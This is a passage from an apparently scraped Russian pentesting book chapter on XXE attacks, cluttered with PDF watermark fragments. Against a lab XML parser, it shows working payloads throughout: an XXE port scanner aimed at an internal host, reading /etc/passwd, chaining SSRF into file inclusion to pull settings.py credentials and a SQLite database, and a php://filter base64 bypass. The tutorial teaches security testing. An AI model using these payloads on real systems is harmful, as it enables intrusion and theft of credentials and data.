Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Атаки XXE  259 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

успешно интерпретирован парсером как XML благодаря структурному сход-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ству XML и HTML.

<html> <body>[content]</body>

</html>

Опрос сервера Collaborator со стороны клиента подтверждает существование этой уязвимости,и теперь мы знаем,что можем каким-то образом влиять на сервер.

Рис.10.8. Клиент Collaborator подтверждает наличие уязвимости для SSRF-атаки

Сканер портов

Зная,чтоестьвозможностьуказатьприложениюналюбойURL-адрес,ипри- ложение обратится к нему,мыможем использоватьэто,чтобы выполнитьгрубое сканирование портов внутренней сети (или любого другого хоста). Можем сканировать не только HTTP-порты. URL-адреса позволяют указать произвольный порт,и хотя он можетпытаться установитьHTTP-соединение,мы попрежнему можем сделать вывод относительно существования SMTP-службы, просто изучив сообщение об ошибке, возникающее при попытке соединения.

Поскольку мы подделываем запрос, который будет поступать от уязвимого приложения,все попытки сканирования портов будут идти из внутренней до-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 260  Глава 10.Практические атаки на стороне сервера

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

веренной системы. Это хорошо с точки зрения анонимности, а в некоторых

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

случаях позволяет избежать срабатывания сигнала тревоги.

XML-код, который планируем использовать для нашего сканера портов, будет нацелен на внутренний хост 10.0.5.19 в поисках интересных служб: 8080, 80, 443, 22 и 21.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE budgetnmap [

<!ELEMENT budgetnmap ANY>

<!ENTITY port0 SYSTEM "http://10.0.5.19:8080/"> <!ENTITY port1 SYSTEM "http://10.0.5.19:80/"> <!ENTITY port2 SYSTEM "http://10.0.5.19:443/"> <!ENTITY port3 SYSTEM "http://10.0.5.19:22/"> <!ENTITY port4 SYSTEM "http://10.0.5.19:21/">

]>

<budgetnmap>

&port0;

&port1;

&port2;

&port3;

&port4;

</budgetnmap>

После загрузки в приложение для синтаксического анализа вредоносный код заставит XML-парсер систематически подключаться к каждому указанному порту, пытаясь извлечь данные для сущностей &portN;.

Рис.10.9. Сканер портов показывает сообщения об ошибках для открытых портов

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  261 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Ответсерверанемногозапутан,ноондаетнамдостаточноинформации,что-

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

бы увидеть, что порт 80 действительно открыт на внутреннем хосте 10.0.5.19. Парсер смог подключиться к порту, и хотя ему не удалось проанализировать его содержимое, сообщение об ошибке говорит о многом. С другой стороны, сущность &port0; вернула сообщение об ошибке Connection timed out, которое указывает на то,что порт, вероятно, защищен брандмауэром.

Burp Suite имеет удобную функцию, позволяющую нам копировать любой запрос, полученный в виде команды curl. Если хотим повторить эту атаку на другом внутреннем хосте и, возможно, проанализировать ответ для другого инструмента, можем скопировать вредоносный код одним щелчком мыши.

Рис.10.10. Сохраняем запрос Burp в качестве команды curl

Сгенерированная команда curl может быть передана в grep, и мы можем отфильтровать только строки, содержащие "http:", чтобы сделать вывод немного чище.

curl -i -s -k -X $'POST' -H $'Content-Type: application/ x-www-form-urlencoded' --data-binary

$'xml=%3C%3Fxml+version%3D%221.0%22+[...]%3C%2Fbudgetnmap%3E%0D%0A &submit_xml=Parse+XML' $'http://xml.parser.local/xml.php' | grep

"http:"

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 262  Глава 10.Практические атаки на стороне сервера

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

<b>Warning</b>: simplexml_load_string(http://10.0.5.19:8080/):

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[...]

<b>Warning</b>: simplexml_load_string(): http://10.0.5.19:80/:1: parser error : StartTag: invalid element name in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

[...]

<b>Warning</b>: simplexml_load_string(http://10.0.5.19:443/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

[...]

<b>Warning</b>: simplexml_load_string(http://10.0.5.19:22/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

[...]

<b>Warning</b>: simplexml_load_string(http://10.0.5.19:21/): failed to open stream: Connection timed out in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />

Здесь можем стать чуть более изощренными, автоматизировав генерацию полезной нагрузки или очистив выходной файл.

Утечка информации

XXE также можно использовать для чтения любого файла на диске, к которому у приложения есть доступ. Конечно, в большинстве случаев более ценные файлы представляют собой исходный код приложения, который является обычной целью для злоумышленников. Помните, что внешние сущности доступны через URL-адрес, а в PHP-файловая система доступна через URLпрефикс file://.

Чтобы прочитать файл /etc/passwd в системе Linux, воспользуемся таким простым кодом:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY exfil SYSTEM "file:///etc/passwd">

]>

<xxe>&exfil;</xxe>

Результат предсказуем и является хорошей проверкой концепции нашего отчета для клиента.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  263 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

XML-парсер обратится к схеме file://, возьмет содержимое /etc/passwd

p

и

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

отобразит его на экране.

Рис.10.11. Эксплуатация XXE-уязвимости для получения содержимого /etc/passwd

Как говорилосьранее,естьболее ценные цели,которые следуетрассмотреть в качестве объектов для передачи наружу с помощью данного типа атаки: исходный код приложения, закрытые ключи (закрытые SSH-ключи и закрытые ключи сертификатов), файлы истории командной строки, файлы конфигурации операционной системы или сценарии и многое другое. Если приложение может читать файлы на диске,то и мы в состоянии это делать.

Однако локальные файлы – это не единственное, что может быть затронуто с помощью этого эксплойта. SSRF-атаки, такие как XXE, также могут использоваться для нападения на внутренние приложения, которые недоступны из внешней сети, такие как другие виртуальные локальные сети (VLAN) или интернет.

Внутреннее приложение,работающее на хосте 10.0.5.19,которое мы будем использовать для демонстрационных целей, – это потрясающий проект badguys от Майка Пирната (Mike Pirnat). Код веб-приложения можно скачать на странице https://github. com/mpirnat/lets-be-bad-guys.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 264  Глава 10.Практические атаки на стороне сервера

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Рассмотрим сценарий, в котором после дальнейшего изучения сервера,

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

успешно просканированного нами ранее, мы поняли, что на хосте 10.0.5.19 работает приложение, уязвимое для локального включения файлов. Мы не можем получить доступ к нему напрямую из нашего сегмента сети, и нам доступнотолько приложение xml.parser.local.Обычно мы не можем атаковать 10.0.5.19,ноблагодаряпроблеме,связаннойсXXESSRF,можнозаставитьXMLпарсер осуществлять атаку от нашего имени.

Создадим полезную нагрузкудля передачи ее вxml.parser.local,и это заставит его подключиться к нашему целевому внутреннему серверу и извлечь файл настроек из уязвимого приложения с помощью локального включения файлов.

Приложение badguys, работающее на внутреннем хосте 10.0.5.19, уязвимо для локального внедрения файлов в URL-параметре /user-pic, p:

http://10.0.5.19/user-pic?p=[LFI]

Это уязвимое приложение с открытым исходным кодом, и быстрый поиск в GitHub сообщает все, что нам нужно знать о структуре файловых папок. Это относится и к другим фреймворкам и CMS. Сайт на WordPress, уязвимый для атаки с использованием локального внедрения файлов, можно эксплуатировать для получения содержимого файла wp-config.php так же легко.

Мы знаем относительный путь к файлу настроек, потому что мы его проверили и можем использоватьв качестве полезной нагрузкидля эксплуатации с использованием локального внедрения файлов. Приложение badguys хранит свои настройки в файле с именем settings.py, который обычно находится на два каталога выше оттекущего рабочего каталога.

Чтобы получить содержимое этого файла, наш вредоносный код будет выглядеть примерно так:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY exfil SYSTEM "http://10.0.5.19/ user-pic?p=../../settings.py">

]> <xxe>&exfil;</xxe>

Вместо имени хоста Collaborator попросим XML-сервер связаться с внутренним хостом и вернуть ответ нам. Если все пойдет хорошо, XML-парсер будет эксплуатировать­ уязвимость внутреннего приложения badguys, работаю­ щего на хосте 10.0.5.19, предоставляя нам содержимое файла settings.py

(рис. 10.12).

Файл settings.py содержит интересную информацию: учетные данные базы данных и пути к файлам sqlite3. Не помешает записать их, чтобы исполь-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Атаки XXE  265 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

зоватьвпоследствии.Интересующий нас файл–это сама базаданных SQLite 3,

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

расположенная в c:\db\badguys.sqlite3 на внутреннем хосте 10.0.5.19.

Рис.10.12. Использование XXE для эксплуатации уязвимости,связанной с локальным включением файла на внутреннем хосте

Мы можем использовать ту же атаку, связанную с локальным включением файлов,чтобы заполучить и его содержимое.

Есть одна проблема, которая возникает при простом изменении пути p к файлу базы данных:

http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3

В обычных ситуациях при использованиилокального внедрения файлов это работает просто отлично. Мы пересекаем достаточное число каталогов, чтобы добраться до корневого каталога диска, меняем каталог на db и извлекаем

файл badguys.sqlite3.

Обратите внимание, что в нашем коде содержимое базы данных SQLite 3 будет извлечено и вставлено в тег <xxe> до того, как парсер обработает XMLданные.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 266  Глава 10.Практические атаки на стороне сервера

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

<!ELEMENT xxe ANY >

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

<!ENTITY exfil SYSTEM "http://10.0.5.19/ user-pic?p=../../../../../../db/badguys.sqlite3"> ]>

<xxe>&exfil;</xxe>

Файлы SQLite 3 будут содержать символы, которые у большинства XMLпарсеров вызывают проблемы при обработке, и поэтому ошибки, возникающие в ходе парсинга, помешают нам забрать содержимое.

Если мы запустим наш вредоносный код как есть,то увидим, что, несмотря на то что содержимое базы данных было извлечено, приложение не вернуло его, потому что оно попыталось проанализировать их как часть тега <xxe>. Двоичный формат файла SQLite 3 не совсем подходитдля XML.

Рис.10.13. В ходе XXE-атаки не удалось вернуть содержимое базы данных

Чтобы обойти эту проблему, в идеале нам нужно, чтобы XML-парсер кодировал данные, которые он извлекает из уязвимого внутреннего приложения, прежде чем вставить в тег <xxe> для обработки.

XML-парсер написан на PHP и, следовательно, имеет доступ к различным преобразовывающим фильтрам,которые можно применять к потоковым дан-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Атаки XXE  267 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

ным,таким как ресурс,извлеченный из URL-адреса.Доступ к фильтрам можно

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

получить через php://, как показано ниже:

php://filter/convert.base64-encode/resource=[URL]

Один из доступных преобразовывающих фильтров – base64-encode, он будет полезен в нашем случае.

В документации к PHP показаны все доступные фильтры на стра-

нице http://php.net/manual/en/filters.php. Данные могут быть преобразованы,зашифрованы или сжаты на лету.

Для шифрования содержимого базы данных SQLite 3 в Base-64 нужно подделать запрос к следующему идентификатору ресурса.

php://filter/convert.base64-encode/resource=http://10.0.5.19/ user-pic?p=../../../../../../db/badguys.sqlite3

Фильтр convert.base64-encode применяется к удаленному ресурсу, в котором находится необходимое нам содержимое базы данных. Возвращаемое значение будет представлять собой длинную строку в формате Base64 и больше не должно вызывать никаких ошибок.

Рис.10.14. Повторение атаки с использованием модификации PHP-фильтра в кодировке Base64

Теперь можно запустить этот ответ через CyberChef с возможностью сохранения декодированных данных в файл.